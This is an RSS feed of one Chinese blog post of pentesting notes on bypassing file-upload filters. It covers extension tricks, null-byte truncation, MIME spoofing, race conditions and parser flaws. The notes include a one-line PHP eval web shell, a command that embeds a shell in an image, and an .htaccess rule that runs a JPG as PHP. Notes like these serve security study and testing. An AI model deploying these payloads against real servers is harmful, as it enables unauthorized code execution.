<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>文件上传 on 首页 | Widegram</title>
    <link>https://widegram.com/categories/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/</link>
    <description>Recent content in 文件上传 on 首页 | Widegram</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Fri, 08 Oct 2021 17:08:26 +0000</lastBuildDate><atom:link href="https://widegram.com/categories/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>文件上传漏洞</title>
      <link>https://widegram.com/2021/10/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</link>
      <pubDate>Fri, 08 Oct 2021 17:08:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</guid>
      <description>本地验证 JS禁用、Burp改包、本地提交 后缀黑名单验证 大小写、加空格、符号点（系统特性）、::$DATA（Windows平台） 过滤不迭代问题 例如，&amp;quot;.php. .&amp;ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。
后缀白名单验证 MIME（使用FILETYPE而不是后缀验证） 后缀白名单验证 MIME、%00、0x00截断 其中，MIME主要修改Content-Type项； %00和0x00主要影响某些版本的PHP（CVE-2015-2348，PHP 5.4.38~5.6.6）。在文件名中插入，比方说x.php%00.jpg，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。 ⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。%00自动编码后将变成%25%30%30，而这不是我们需要的。 图片后门 单纯文件头验证不安全，需要配合后缀检测。
过滤&amp;lt;?怎么办？ 使用多种php标记方法，如
&amp;lt;script language=&amp;#34;php&amp;#34;&amp;gt; eval($_POST[&amp;#39;xd&amp;#39;]); &amp;lt;/script&amp;gt; 二次渲染 上传的图片被修改后显示出来（尺寸或格式）。例如：
copy shell.jpg/b + shell.php/a s.jpg 将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分。
常见问题 单次过滤 php函数replace过滤&amp;quot;php&amp;rdquo;，但把文件名改成&amp;quot;.pphphp&amp;quot;就可以绕过
条件竞争 php函数move_uploaded_file，先移动后过滤unlink。可以在删除前访问。 具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）
解析安全 格式变异 过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序
中间件解析(apache) 上传一个.htaccess，它可以更改目录下特定后缀的解析规则
&amp;lt;FilesMatch &amp;#34;shell.jpg&amp;#34;&amp;gt; SetHandler application/x-httpd-php &amp;lt;/FilesMatch&amp;gt; CVE-2013-4547 Nginx文件名逻辑漏洞 NGINX解析问题：后缀&amp;quot;1.jpg/.php&amp;quot; 针对性思路总结 CMS类 无资料时用常规测试思路，有资料参考资料即可。
编辑器 Ueditor 中间件 weblogic CVE-2018-2894
CTF类 ThinkPHP 文件路径（涉及代码审计）</description>
      <content:encoded><![CDATA[<h2 id="本地验证">本地验证</h2>
<h3 id="js禁用burp改包本地提交">JS禁用、Burp改包、本地提交</h3>
<h2 id="后缀黑名单验证">后缀黑名单验证</h2>
<h3 id="大小写加空格符号点系统特性datawindows平台">大小写、加空格、符号点（系统特性）、::$DATA（Windows平台）</h3>
<h3 id="过滤不迭代问题">过滤不迭代问题</h3>
<p>例如，&quot;.php. .&ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。</p>
<h2 id="后缀白名单验证">后缀白名单验证</h2>
<h3 id="mime使用filetype而不是后缀验证">MIME（使用FILETYPE而不是后缀验证）</h3>
<h2 id="后缀白名单验证-1">后缀白名单验证</h2>
<h3 id="mime000x00截断">MIME、%00、0x00截断</h3>
<ol>
<li>其中，MIME主要修改Content-Type项；</li>
<li>%00和0x00主要影响某些版本的PHP（<code>CVE-2015-2348</code>，PHP 5.4.38~5.6.6）。在文件名中插入，比方说<code>x.php%00.jpg</code>，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。
⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。<code>%00</code>自动编码后将变成<code>%25%30%30</code>，而这不是我们需要的。</li>
<li></li>
</ol>
<h2 id="图片后门">图片后门</h2>
<p>单纯文件头验证不安全，需要配合后缀检测。</p>
<h3 id="过滤怎么办">过滤&lt;?怎么办？</h3>
<p>使用多种php标记方法，如</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">language</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;php&#34;</span>&gt;
</span></span><span style="display:flex;"><span>eval(<span style="color:#a6e22e">$_POST</span>[<span style="color:#e6db74">&#39;xd&#39;</span>]);
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><h2 id="二次渲染">二次渲染</h2>
<p>上传的图片被修改后显示出来（尺寸或格式）。例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>copy shell.jpg/b + shell.php/a s.jpg
</span></span></code></pre></div><p>将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该<strong>对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分</strong>。</p>
<h2 id="常见问题">常见问题</h2>
<h3 id="单次过滤">单次过滤</h3>
<p>php函数replace过滤&quot;php&rdquo;，但把文件名改成&quot;.pphphp&quot;就可以绕过</p>
<h3 id="条件竞争">条件竞争</h3>
<p>php函数move_uploaded_file，先移动后过滤unlink。可以<strong>在删除前访问</strong>。
具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）</p>
<h3 id="解析安全">解析安全</h3>
<h4 id="格式变异">格式变异</h4>
<p>过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序</p>
<h4 id="中间件解析apache">中间件解析(apache)</h4>
<p>上传一个.htaccess，它可以更改目录下特定后缀的解析规则</p>
<pre tabindex="0"><code>&lt;FilesMatch &#34;shell.jpg&#34;&gt;
  SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;
</code></pre><h4 id="cve-2013-4547-nginx文件名逻辑漏洞">CVE-2013-4547 Nginx文件名逻辑漏洞</h4>
<h4 id="nginx解析问题后缀1jpgphp">NGINX解析问题：后缀&quot;1.jpg/.php&quot;</h4>
<h2 id="针对性思路总结">针对性思路总结</h2>
<h3 id="cms类">CMS类</h3>
<p>无资料时用常规测试思路，有资料参考资料即可。</p>
<h3 id="编辑器-ueditor">编辑器 Ueditor</h3>
<h3 id="中间件-weblogic">中间件 weblogic</h3>
<p>CVE-2018-2894</p>
<h3 id="ctf类">CTF类</h3>
<p>ThinkPHP 文件路径（涉及代码审计）</p>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
